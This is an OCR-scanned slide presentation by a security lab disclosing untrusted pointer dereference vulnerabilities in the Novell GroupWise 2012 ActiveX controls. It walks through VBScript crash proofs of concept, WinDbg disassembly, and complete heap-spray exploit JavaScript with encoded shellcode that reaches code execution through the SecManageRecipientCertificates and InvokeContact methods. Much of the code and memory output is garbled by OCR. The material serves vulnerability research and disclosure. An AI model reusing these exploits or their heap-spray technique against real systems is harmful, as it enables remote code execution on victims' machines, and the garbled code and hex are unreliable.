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TIMELINE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

On the 24™ of November 2012, High-Tech Bridge Security Research Lab
discovered multiple vulnerabilities in Novell GroupWise 2012.

On the 26'" November 2012, High-Tech Bridge Security Research Lab informed
Novell about these vulnerabilities which existed in two core ActiveX modules.

On the 30t January 2013, Novell published a security bulletin and released a
security patch.

Finally, on the 3'd April 2013 High-Tech Bridge Security Research Lab disclosed
the vulnerability details.

This paper is a technical explanation of the Ilatter vulnerability and its

exploitation. / .
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ABOUT NOVELL GROUPWISE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= According to Wikipedia:

v' GroupWise is a messaging and collaborative software platform from Novell
Inc. that supports email, calendaring, personal information management,
instant messaging, and document management.

v" The platform consists of the client software, which is available for Windows,
Mac OS X, Linux, and the server software part which is supported on
Windows Server, NetWare and Linux systems.

v’ The latest generation of the platform is GroupWise 2012 which only
supports Windows and Linux servers.
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THE VULNERABILITIES HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

The vulnerabilities exist in the gwmim1.ocx and gwabdlg.dll libraries.

In order to trigger the flaw one should pass a non properly initialized value to
the vulnerable methods.

By default any long integer value is assumed to be a proper initialized pointer.
This permit to provide a fake pointer to some of the methods and hijack the
control flow of the application by redirecting it to a malicious code.

The vulnerability can bg [ heap area with predictable
memory addresses be bug is triggerec
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COMMON WEAKNESS ENUMERATION HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= |n accordance to MITRE:

v" The Common Weakness Enumeration is a formal list of software
weakness types created to:

Serve as a common language for describing software security weaknesses in
architecture, design or code.

Serve as a standard measuring stick for software security tools targeting these
weaknesses.

Provide a common baseline standard for weakness identification, mitigation and
prevention efforts.

On the of 20" August 2012 High-Tech Bridge Security Research Lab obtained
CWE-Compatible Status by MITRE.

This vulnerability was categorized by the weakness ID Untrusted Poiig&ii‘%g@3
Dereference [CWE-822]. 0
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UNTRUSTED POINTER DEREFERENCE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= According to MITRE, an untrusted pointer dereference vulnerability is present
when:

v An attacker can inject a pointer for memory locations that the
program is not expecting.

If the pointer is dereferenced for a write operation, the attack might
allow modification of critical program state variables, cause a crash or
execute code.

If the dereferencing operation is for a read, then the attack might allow
reading of sensitive data, cause a crash or set a program variable to an
unexpected value since it will be read from an unexpected memory
location.
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MORE DETAILS ABOUT THE ISSUE HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Novell GroupWise crashes at three different methods within two modules.

The involved modules are gwabdlg.dll and gwmim1.ocx. /

The faulty methods names are InvokeContact, GenerateSummaryPz
SecManageRecipientCertificates.

We will only analyse the issues in the SecManageRecipientCertificates and
InvokeContact methods.

This is because the InvokeContact and GenerateSummary methods crash at
the same area. Moreover, the exploitation technique used to leverage the
vulnerability is the same.

The configuration lab we used is an English Windows XP SP3 operating
system (DEP disabled) with Internet Explorer 8.
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PROOF OF CONCEPT CRASH (1) HIGH-TECH BRIODGE

INFORMATION SECURITY SOLUTIONS

Here is a working proof of concept in order to crash Internet Explorer by passing
a custom pointer to the InvokeContact method.

H<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
[H<head>
<titler Novell GroupWise Multiple Remote Code Exeomtion vmlnerabilities v.12.0.0.8586</tcicle>
F</head>
[H<=script language='vhscript's
Sub PaoC{)
argl=202116104 -
target.InvokeContact argl
End Sub
</ 3cript>
H<body>
<h3» Novell GroupWise Multiple Remote Code Execntion vnlnerabilities +v.12.0.0.8586</h3>
<h4> Untrusted Pointer Dereference PoC </hé>
<hr>
This =imple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0x0cOcOc0c.<BE><EE>
<input language=VEScript onclick=Pol{) tvpe=button wvalue="Proof of Conoept"»
r</body>
<object classid='clsid:54ADIEC4-BB4A-4DAA-ARIE-DATE0930BIEF id="Target ' ></object>
-</html>
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PROOF OF CONCEPT CRASH (2) HIGH-TECH BRIODGE

INFORMATION SECURITY SOLUTIONS

The following proof of concept crashes Internet Explorer by passing a fake
pointer to the SecManageRecipientCertificates method.

El<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
Fl<head>
<titles>Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586</title>
r</head>
[F<=zcript language='vhsoript'>
Sub PoC{)
argl=202116108 <4
target.SecHManageRecipientCertificates argl
End Sub
< /3cripty
H<body>
<h3>Novell GroupWise Munltiple Remote Code Execution volnerabilities w.12.0.0.8586</h3>
<hd4> Untrusted Pointer Dereference PoC </hd>
<hr>
This =imple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0xOcOcDcOc.<BR><BR>
<input language=VBScript onclick=Fol{) type=button value="Proof of Concept">
r</body>
<object classid="clsid:BFEC5AD1-1EB1-11D1-BCY96-00B05FCICBEA" id="Target '></object>
-</html>
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SecManageRecipientCertificates case (1) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Let’'s first analyze the SecManageRecipientCertificates case as this is the
simpler one.

In the following screenshot we can observe the crash from WinDBG after
executing the proof of concept on one of the previous slides:

(abd . 788): Access wiolation - code 0000005 (first chance)

First chance exceptions are reported before any exception handling.

Thiz exception may be expected and handled.

gax=0214c36c ebx=00000000 ecxE=0clczlclc edz=00000018 e=i=084bdc38 =di=00000000
e1p=100143805 e=p=0214c3tc ebp=0214c45d4 1opl=0 nv up 21 pl nz na pe nc
c==001b ===0023 d==0023 e==0023 {==003b g==0000 ef 1=00210206
gyminl [ D1l TnregisterServer+l=zichs

10014805 8b11 ImDv edx,.dword ptr [ecxz]

We can clearly spot that the crash took place at the address 0x10014805 when

the code attempts to move the value of the uninitialized pointer into the EDX
register.

This one was provided as a long data type (202116108), therefore (0xcOc0cOc)

in hexadecimal format.

Y SGS

©2013 High-Tech Bridge SA — www.htbridge.com



1] {[TT—T [
SecManageRecipientCertificates case (2) HIGH-TECH BRIODGE

INFORMATION SECURITY SOLUTIONS

So far we have a function that crashes when reading a memory address of our
choice.

All that we need in order to turn the odds in our favor and maximize the
chances of exploitation is that the code instructions that follow permit us in
someway to take control of code execution.

In this particular instance, after dissasembling the faulty function, we can
observe at the memory address 0x10014807 that the value hold by our pointer

is moved into the EAX register.

Eventually, a CALL EAX instruction at the address 0x10014809 will terminate
the game.

S100147F2 ecx, [esp+2Ch+arg_#H]
180147F6 byte ptr [esp+2Ch+var_u], 2
:1868147FB [esi+8Bh], ecx

18814861 ecx, edi

18014803 short loc 1881480B
1080148065 edx, [ecx]

100148087 eax, [edx]

10014809 eax 4mm
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HEAP SPRAYING HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

In order to exploit this particular vulnerability we need to spray the heap area on
Internet Explorer in a reliable and precise way.

Before the bug is triggered the heap must be already prepared in order to
contain the or al,0x0C sled which leads to arbitrary code execution.

The or al,0x0C instruction does not affects any critical data which could stop
code exchtion. :

| / ’
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The goal is to "slide" the row of code to its final destination.
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Since the sheJIéode is sn;tlng n/1 mdltlple chunksln the heap rlght after the or

al,0x0C sled the probability of a/lrbltrary code exe(:ﬂtloms veLy h|(7:1h L
[ - = []
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Please check the Microsoft XML iIssue V|deo for’ more mfprmaﬁon on thls

exploitation technique. / L
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WINDBG AFTER THE HEAP SPRAYING EXPLOIT (1) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Here is a screenshot of the most important part of the exploit:

var heap ohj new GyGguPonAZodADbtgXPS . £CIgzuiPwt TRouxDXyny 0EH1{ 0x10000}) ;

var pop calc = unescape |
"sulcOctuedfosu0089%u0000%u8960%031e55u64d25u528b%u8b305u0c5250528bsudbl4%u2872%uh70f5u264a%uff31%uc03ilsuicac”
"su7c6lsu2c02%ucl20%u0dofsuc701%nf0e25u5752%0528b%u8b10%13c42%0d00150408h5uE578%u74c0su0l4a%u50d0%ud§8bsugbls"
"5u2058%ud30lsu3cedsubh49%udh3idinde0lsuff3ilsuc03ilsuclacsuldefsuc?01se03sdsufd475%07d03%03bEd%u247d%ue275%ubbhig"
"5u2458%ud301%u8b66%udh0csuiB8binillcsuihd3sush04%ud0015u4489%024 24505bh5h515961%u51 5asue0E L 505 5E5udbsasuehl 2"
"su5dd6%ulleasudi8dsu00h9%u0000%u6850%uibh31%u876Lsndiffsuf 0bh%ua2h 368565 u95a6su9dbdsudfL3u063csula7osuthio”
"gu75e0%ubh05%u1347%u6E72%0006a%uff 53%u63d5%u6c61%00063" +
"y

rar or_slide = unescape ("$ulcOciuleleiuleloiulclesulelesudelesuledesudedesuleletudele")
rar zoHWUcD0YegFinTDShOSAAM = unescape "$u30905u9090%") ;

while {zoHWUcO00YeygFinTDShOSAAM.length < 0x1000) zoNWUcODYeyFinTDShOSARM += zolNUWUcOO¥VegFinTDEROSLALN:

offget length = OxSF6;
Junk offget = zoNWUcOOTegFinTD3RO3AAN. substring (0, offset length);

var shellcode = junk offset + or_slide + pop calc + zoWWUc00YegFinTDEbOSAAM. substring({0, 0x800 - pop calc.length - junk offset
while {shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring (2, O0x40000 - 0Ox21):
for {(var i=0; i < 250; i++) {

heap ob]j.u¥iBaSLpjlOJddhFAb{bhlock) ;

}

ctrl.SecHanageRecipientCertificates{202116108)
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WINDBG AFTER THE HEAP SPRAYING EXPLOIT (2) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

» The following screenshot shows the state of registers under Windbg after the
exploit is executed:

(bfd 59c): Access wviolation - code c0000005 (1! second chance 1)
eax=(clclclc ebx=00000000 ecx=0clclclc edz=0clclclc|esi=08chded) =di=00000000
Qeip=|:h::|]|::|]|::|]c: ezp=0722bchcd ebp=022bcbcd 10pl=0 nv up 21 pl nz na pe nc
cs=001b ===0023 d==0023 e=s=0023 £==003b g==0000 ef1=00210206
Oclclclc Ocic or al,0Ch 4m

0:005 knL

# ChildEBF Retiddr

WARNING: Frame IP not in any known module. Following frames may be wrong.
00 022bcScd 1001480b Dxclclclc 4mm

= We can clearly observe that instruction pointer register was successfully
hijacked.
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THE INVOKECONTACT METHOD CASE (1) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

As we said on slide 10, finding the way to exploit the
SecManageRecipientCertificates method was les complex than the
InvokeContact one.

When we run the InvokeContact proof of concept, one would be tempted to
conclude that this is just a local denial of service.

5722d301 8b4004 ¥, dword ptr d=: 0023 0c0c0cl0="7777777)
L722d30d B9RtZ4fffffsf now dword ptr [ebp-0DCh].eax
5722d30a 83bd24f£££££01 cmp dword ptr [ebp-0DCh].1

However, since the attacker can control the EAX register he could influence
the code logic and to enter what seems to be a switch structure.

This means that it would be possible to coerce the code to enter into one of the
six available cases, so as to potentially increase our chances of successful

exploitation.
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THE INVOKECONTACT METHOD CASE (2) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

Here is the switch structure containing the six different cases:

LY22d2f2 8bBLZcffffff mow gax,.dword ptr [ebp-0D4h]

L7P22d2f8 B9RL24ffttit o dword ptr [ebp-0DCh].eax

L722d2fe B8b4L03 mowv Sax . dvord

5722d301 8b4004 o eax, dvord

L722d304 890G24ffffff mor dword ptr

722d30a 83bd24ffffffll cmp dword ptr [ebp-0DCh].1 4=m

L722d311 0f£8457010000 al= gwabdlg ! D1 ]1TnregisterServer+l=zdcd?bh (5722d462)
L722d317 83bd24ffffffl2 cmp dword ptr [ebp-0DCh]. 2 4=m

LY22d31e 0£3400010000 je gwabdlg ! Dl lUnregizterServer+lxd4c? il (57224424
L722d324 83bd24fff{£f£f03 cmp dword ptr [ebp-0DCh].3

L722d32b 0£8433010000 e gwabdlg ! D]l ]1TnregisterServer+lxzdcdc]l (5722d4B4)
L722d331 83bd24ffffffl0d cmp dword ptr [ebp-0DCh], 4 <=m

LY22d338 0f34af020000 je gwabdlg ! Dl lUnregizterServer+lxdcifa (5722d5ed)
L722d33e 83bd24fffff£f05 cmp dyord ptr [ebp-0DCh].5 4=m

L722d345 0£849a030000 1= gwabdlg ! D1]1TnregisterServer+lzdcdf? (5722d6e5)
L722d34b 83bd24ffffffl06 cmp dword ptr [ebp-0DCh]. 6 <=

In order to go beyond this crash, we need to provide a memory address as a pointer,
and from this address plus 4 bytes we supply a dword value who will be the case
number in which we would like to enter.

In order to accomplish this task one would need to rely over a previously known
address in memory.

If we use a precise heap spraying technique, we can count on the 0xcOc0OcOc
address. I
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THE INVOKECONTACT METHOD CASE (3) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= After studying the exploitation opportunities that are available to us, we found
that at least one of the six cases permits arbitrary code execution.

» The following screenshot shows the code instructions when the third case is
executed:

£722d4b4 8b4508 5y ; ; aca®

£722d4b7 894544 now dword ptr [ebp-2Ch].esax

£722d4ba 8365d500 and dword ptr [ebp-Z28h]. 0

£722d4be lea gax, [ebp-28h]

£722d4cl pu=sh Eax

£722d4c? 68583122d57 push of fzet gwabdlg!Ei=DOHAttributelist: : "vitable'+0xd04 (572d1258)
£722d4c? Bh45d4 mowv pax,dword ptr [ebp-2Ch] <=

£722ddca 8L40310 mnowv gax,dword ptr [eax+3ilh] <4m
£722ddcd Bhddd4 now ecx,dword ptr [ebp—2ZCh]
£722d44d0 8b4930 mowv ecx,dvord ptr [ecz+ilh]
£722d44d3 8hon0 mnowv gax,dword ptr [ IK_
£722d445 &1 push ECH

£722d4d6 f££10 call dword ptr [sax] 4=

» Let's summarize the entire process starting from the injected pointer until code
execution is reached.
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THE INVOKECONTACT METHOD CASE (4)
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We place a breakpoint at the Oleaut32!DispCallFunc function and a second
one at the first CALL ECX instruction situated some bytes farther. The second
breakpoint is the instruction who calls the method in which we are interested.

After the second break, the code points to the memory address 0x572146b7.

K] Disassembly - Pid 2252 - WinDbg:6.11.0001.404 X86

Offset: [5722d301 | Previous |

MHext

(o]
|

77135zkE8
?7135cha
77135che
77135zbd
77135cht
77135zc2
77135cc4d
771358cca
??IEEBdD

??lSE:d?
771350
771357
?7135cea
77135=f0
771358t 4
77135f7
77135fd
<

0bdb

0fa4b8930100
E4all3000000
g086b40£000001

&43b0d13000000
gl0alb40f000000
3beSfc
Dfa55a010000
Dfb75d14
gb4dz4
t7=300200000
7507

or
=
ruash
j Tmd
mow
or
=
mow

ehx, ebx

COLEATTAZ2 IDi=pCal lIFunc+0x153 (77135cc2)

ehx

ehx, dword ptr [ebx]

ecyE,dvord ptr [ecE+ebx]

SCE, B0

OLEATTAZ2 IDispCal lIFunc+0=x21f (7714£f082)

eax,.dword ptr f=:[<Unloaded_ud.drw:+0x=17 {DDDDDDIE}]

byte ptr <Unloaded_ud.drv:+0=fb3 (00000fb4
{gwabdlg ! D]l 1lTnregisterServer+lxiidcd IE"'14hh 1k

E:H,dwnrd ptr f=:[«Unloaded_ud . drv:+0x17 (00000018%]

byte ptr <Unloaded_ud.drv:+0xfb3 {(00000fbd)[ec=x]. 0

ezp,dword ptr [sbp—4]

QOLEATTAZ2 IDispCal lFunc+0=x226 (7713524a)

ehx, word ptr [ebp+ldh]

ecyE,.dvord ptr [ebp+24h]

ebhx. offset <Unloaded ud drv:+0=x1fff (000020007

QOLEATTAZ2 IDi=pCal lIFunc+0=x20b (77135d06)

| B
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THE INVOKECONTACT METHOD CASE (5) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

» The code pushes into the stack the improper pointer. At this moment we can
observe the reference to the XisDOMAttributeList function.

46b? 56 push ebp

46b3 Bbec ebp. e=p

16hba n=h dword ptr ) 1 =

46bd B9007£3057 dlglHi=sDOMAttributelist: : "vitable' +0x37%c (57307£00)
decd 2877910100 gwabdlg!DllUnremver+Dx4c64h (5722d83e)

After the CALL instruction at the address 0x5722D83E, the code continues and
pushes again the uninitialized value at the address 0x5722d861 who enters in
one more nested function.

£722d83e 55 push ebp

£5722d83f Sbec mow ebp,esp

£722d841 83ecll sub esp.10h

£722d844 8944df0 mov dword ptr [=bp-10h].ecx=
£722d847 8365£fc00 and dword ptr [ebp-4].0
£722d84b 83740800 dword ptr [ebp+8].0
£722d84f 744de gwabdlg!DllUnregisterServer+0xdchbac (5722d4d89f)
5722d851 8365£400 dword ptr [ebp-0Ch].O0
§722d855 8365£800 dword ptr [ebp-8].0
£722d859 8d45f8 eax, [ebp-8]

£722d85c 50 eax

£722d85d 8d45f4 eax . [ebp-0Ch]

£722d860 50

57224864 8b4df0 ; S,
5722d867 efd42faffff gwabdlg!DllUnregisterServer+0x4clbb (5722d2as)

)
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THE INVOKECONTACT METHOD CASE (6) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= When the code comes into this function the uninitialized pointer is compared to
0. As the pointer’s value is equal to cOcOcOc the conditional jump at address
0x5722D2ES8 is not taken.

Later, the untrusted pointer is moved into the EAX register at the address
0x5722D2FE.

At 0x5722D301 address we reach the instruction where the code reads the
value of the EAX register plus four bytes. This corresponds to the case in

which it will enter.

5722d2ae 55 ebp

5722d2af 8bec ebp, esp

£722d2bl baff OFFFFFFFFh

§722d2b3 68950b2ctE7 offset gwabdlg!HisDOMAttributelist: setAttribute+0x287d43 (572c0b95)
5722d2b8 642100000000 eax, dvord ptr fs:[00000000k]

5722d2be 50 eax

5722d2bf 81lecd8000000 esp,of fset <Unloaded_ud.drv>+0xd?7 (000000d48)

5722d2c5 alcc?e3057 eax,dvord ptr [gwabdlgl!XisDOMAttributelist:: wvitable'+0x37978 (57307ecc)]
§722d2ca 33cS eax, ebp

5§722d2cc 50 eax

5722d2cd 8d45f4 eax, [ebp-0Ch]

5722d2d0 642300000000 dword ptr fs:[00000000h].eax

5722d2de B898d28ffffff dword ptr [ebp-0D8h].ecx

5722d2dc 8365800 dword ptr [ebp-18h].0

§722d2el 8365ech0 dword ptr [ebp-14h].0

5?22d2=4 8365£000 eb 0

57220 83740800 CHMp dwo : 0 == K] Sy“”qu
5?22d2a: 0f£84=1040000 ] gwabdlg'DllUnreg;sterServeﬁﬂx4c5el] (5?22d?d3) G 2
5722d2f2 BbBS2cffffff eax,dword ptr [ebp-0D4h]

§722d2f8 B898S24ffffff dword ptr [ehp—DDCh] eax &
5?22d2fc 3b4509 tr [ebp+8 fa

8b4004 %y jﬁ&
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THE INVOKECONTACT METHOD CASE (7) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

In order to push the code to enter into the case three, we sprayed the heap
so as to allocate perfect sized and consecutive chunks.

If we take care of the chunks size and the blocks size, we can be pretty sure
that the begin of each spray block will be positioned at a predictable address.

Here is the sprayed data starting at the address 0xcOcOcOc:

0:008% d OcOc0z0c

Oclclclce Oc Oc Oc D:|D3 DD DD 0041 41 41 41 41 41 41 41 AhAAAALA
Oclclcle 41 41 41 41 41-41 41 41 41 41 41 472 472 AdAAAAAMAAMAALEE
Oclclc2e 42 42 42 42 42 42 oo co—coc oo oo oo oo oo oo oo EBEBEEE

Oclclc3c 40 Oc Oc Oc 44 Oz Oz Oc—48 Oz Oz Oz foc =8 89 00 @. D

Oc0zlczd4c 00 00 60 89 =5 31 42 64-8b 52 30 8k 5¢ Oz 8b 52

Oc0cz0z=5c 14 8b 72 28 0f BY 4a 26-31 ff 31 c0 ac 3c 61 7= .. ..J&l 1 {al
Oclclces 02 2c 20 21 of 04 01 =7-e=2 f0 52 57 8b 52 10 8B .,

Oclclc?e 42 3c 01 40 8b 40 78 85-—c0 74 4a 01 A0 50 8b 48 . T P H

Consult the document Heap Spraying Demystified under the section Precision
Heap Spraying from Corelan for more information.
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Because the heap spray was very precise, the code reads and stores our
desired value into the stack at the address 0x5722D304.

£722d2fe
5722d3nl
£722d304
5722d30a
57224311
£722d317
5722d31e
L722d324

2h4Lt0a

gbd004
BOBC24ffffff
83bdZ24ff£f£££01
0fg457010000
B3bd24ff£f£££02
0fs400010000
B3bdZ24ff££££03

T

2ax, dwvord
23, dword
dword ptr
dword ptr

[ebp—0DCh]. 1
gwabdlg!DllUnregisterServer+0xzdci?b (§722d4ce)
dword ptr [ebp-0DCh]. 2
gwabdlg! Dl lTnregisterServer+0xdc?3l (57224424
dword ptr [ebp-0DCh]. 3

This permits us to go beyond the previous crash and enter into the function at
the address 0x5722d4b4.

5722d324
£722d32kb

£722d331

83bd24ffEFE£03

Df8483010000
B3bd24ffff££04

(5722d4b4)

L722d4b4
5722d4b7
L722d4ba
L722d4kb=
5722d4c1
L722d4c2
L722d4c=7
5722d4ca
L722d4cd
5722d4d0
7224443
L722d445
5722d4d6

L4508
894544
g3e5dann
8d45d4a
50
RELE122d57
2b45d4
ab403n
ghidd4
ab4930
abon

g1

ffin

eax, dword

=] a ==:0022:020bf 24c=0c0cz0z0o
dword ptr [ebp—-2Ch].e=ax

dword ptr [ebp—28h].0

zax, [ebp—28h]
S8

off=et gwabdlg!XisDOMAttributeli=t:: "witable'+0=xd04

gax, dword ptr
zax, dword ptr
ecx.dword ptr
ecx, dword ptr
eax, dwvord ptr
S

dword ptr

[ebp—2Ch]
[eax+30h]
[ebp—2Ch]
[ecE+30h]
[2ax]

[2ax]
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The untrusted pointer is stored in the stack and will be reused later in order
to call another private method from the vftable.

I Disassembly - Pid 2252 - WinDbg:6.11.0001.404 %86 1ol =l

offset: [5722d301 | Previous | Mew |

5722d495 sall push 0

L722d497 f£75ec push dword ptr [ebp-14h]

E722d4%a ££7508 pu=h dword ptr [ebp+8]

5722d49d 8d45£f0 lea eax, [ebp-10h]

L722d4=0 50 push 2aE

L722d4al Gb8d428ffffff now ecx,dword ptr [ebp-0D8h]

E722d4a7? eBb2f9ffif call gwabdlg! D]l 1TnregisterServer+0zdbcebh (5722cebe)
L722d4ac B8945e1 mow dword ptr [ebp-18h].esax

L722ddaf 914030000 Imp gwabdlg!DllUnregisterServer+0xdcbde (5722d47d1)
L722d4bd now eax.dword ptr [ebp+8]

5?22d4b? mow bp—2C

8565 == 0023:020bf21c=0460:
5?22d4be EaXK, [ebp—ESh]
5722d4c1 ==k

E722d4c2 6858122457 of fzet gwabdlgAHi=sDOHAttributeli=st  : "vitable'+0xd04 (&
5722d4c=7 Bb4tdd ==5- v¥ [ebp-2Ch]

L722ddca 8b4030 EaX, [eax+30hk]

5722d4cd Bb4ddd . z [ebp—-2Ch]

E722d4d0 8b4930 = [ec=+30hk]

57224443 8b0O0O <. [eax]

57224445 51

5122d4d6 f£10 [2ax]

4

Command

0:008> d [ebp—2Ch] &£

020bf218 @Eiﬂﬁl!éilﬁian
n20bfzze  di oz 0o
020b£238 B0 f? Db 02 as
020bf248 6c d8 22 57 Oc
020b£258 00 7f 30 57 00
020bf268 74 £2 0b 02 7
020b£278 d9 Gc 13 77 68
020bf288 14 28 &b 04 84

ID:DDS>|
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Later the code dereferences twice the EAX register at the addresses
0x5722D4CA and 0x5722D4D3.

L722d4dc? 8h4G5d4 :ax , dword Ex ==:0023:020bf218=0c0cz0z0c
§722ddcza 8b4030 b TmyH 2ax, dword [2ax+30h]

5722ddcd 8b4ddd o ec . dword [ebp—2Ch]

£722d4d0 8b4930 oW ecx, dyord [ecx+30h]

5722d4d3 aboo b TmyH 23, dword [Eax]-

£722d4ds &1 pu=sh SCHE

L722d4de f££10 call dword ptr [eax]

So as to successfully slide the code up to the shellcode, the exploit needs to
spray accurately the heap with three pointers:

0:008> d OcOclclcs

Qclclclzc Oz Oc Oc Oc 03 00 00 00-41 41 41 41 41 AAAAAAAR
O=l=0c1lc 41 41 41 41 41 41 41 41-41 41 41 41 41 AhAAAAAAMAAMNARE
Oclclcie 42 42 42 42 42 42 coc cc—oco oo oo Co cC

lzlclc3c

Dzlclcdc 00/e0 39 =5 31 \dZ 64-8b 52 30 8hb

Nz0z0cho g 72 28 0f b7 da 26-31 ff 31 c0 ac S < A -7 R A
lzlclches c 20 1 =f 0d 01 =7-=2 £0 52 57 8b . EW.E..
Dzlclc?c Jdc 01 d0 8b 40 7§ 85—c0 74 4a 01 dO Bc. . @x. .tJ. F.H

eax,dword ptr [eax+30h] dword ptr [eax]

(mov eax,dvord ptr [eax]|

The shellcode sits right after the 0xc0c0c48 pointer.

)
2>

Y SGS
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This is therefore the final payload for the exploit:

var heap obj = nev GyGyuPonxZoADbtgXP5. fCTgzuiPwtTRouxDXvmy0KH1(0x10000) ;

rar payload? = unescape(
"ud242%04242%04242%u4242%ucccohucecctuccectuccoetuccoceiulcddiulclctulcd4tulclotuled 84ulc0csuedfotud089%u0000%udo60%uiles"
"$u64d2%0528b%ubh30%u0c524u528h%ubh14%u2872%ub70f%0264a%uff 31%uc031%u3cactuloblsu2c02%ucl 20%u0dcf%uc?01%uf0e2%05752%u528h"
"4ufh10%u3cd2%ud001%ud08b%u8578%u74c0%u014a%u50d0%u488h%udh18%u2058%ud301%u3ce3subhd 9%ubh34%ud601%uff 31%uc031%ucl actuldct"
"uc701%ue038%0f475407d0 3403bhE 84024 7d%ue 27 3%udh 58%024 58%ud301%ush66%udh0ciu588b4ul 1l cubhd3%udh04%ud001%ud489%02424%u5h 5h"
"%u5961%u51 5atue0ff 405 584uBhia%uehl 24u5d86%u016a%u858d%u00h9%u0000%u6850%ubh 31 %ub 76 4ud SEfHuf 0bh%ua2h H%u6856%u95ab%uddhd"
"gud 5L su063ctulaTctufhi0%u?5e0%ubh0i4ul34 74067240006 a%uff53%ub63d5%ub6c61%00063" H
"

var payload = unescape ("sulclciulcOosul00isuo000zudldlsudldlzudldlzudldlzudlaliudldlsudlqlzndldlsudlqlsugldlsudlal™);

var zoHWUc00YegFinTDShOSAAM = unescape ("3uS0905us090") ;

vwhile (zoHWUc00YegFinTDShOSAAM.length < 0x1000) zoHWUcO0YegFinTDShOSAAM += zolWUcOO0VeqFinTD2hOZALN;

offget length = Ox5F6;
junk offsget = zoNWIcQOTegFinTDEOSALN. subatring (0, offset length):

var shellcode = junk offset + payload + payload + zoWWUcO0YegFinTDShOSARM.substring(0, 0x800 - payload2.length - junk offset.length - payload.lengt
while (shellcode.length < 0x40000) shellcode += zhellcode:

var block = ghelleode.substring(Z, 0x40000 - 0x21):
for (var i=0; i < 250; i++) {
heap obj.u¥iBaSLpjl0JddhFab(block) ;

}
ctrl.InvokeContact{202116108)
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Code execution is reached:

B Calculator e al§.§

Edit  Wiew Help

© Hex  Dec © Oct © Bin ¥ Degees " Radians " Grads

™ Inw ™ Hyp I I B ackspace CE |

Sta F-E 4 Mod

Aue * Or

Sum

Command - Pid 2252 - WinDbg:6.11.0001.404 X86

Nzlclcde 60

QclcOz4f 3925 .E=SD
Nz0c0c51 31d2 cedx
Qz0z=0z=53 648b5230 cdword ptr f=: [edz+30h]
0c0z0z57 8b520c cdword ptr [ed=+0Ch]
Nz0z0z5a 8b5214 dword ptr [edE+ldh]
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http://www.youtube.com/watch?v=nNDjRLoN8ug (Exploitation Video)

https://www.htbridge.com/publication/Novell-GroupWise-exploit.rar  (password:
htbridge)

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-
heap-spraying demystified/#Heap Spraying _on_Internet Explorer 9

http://cwe.mitre.org/data/definitions/822.html

https://www.htbridge.com/vulnerability/

http://en.wikipedia.org/wiki/Novell_GroupWise
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Your guestions are always welcome:

brian.mariani [at] htbridge.com
frederic.bourla [at] htbridge.com
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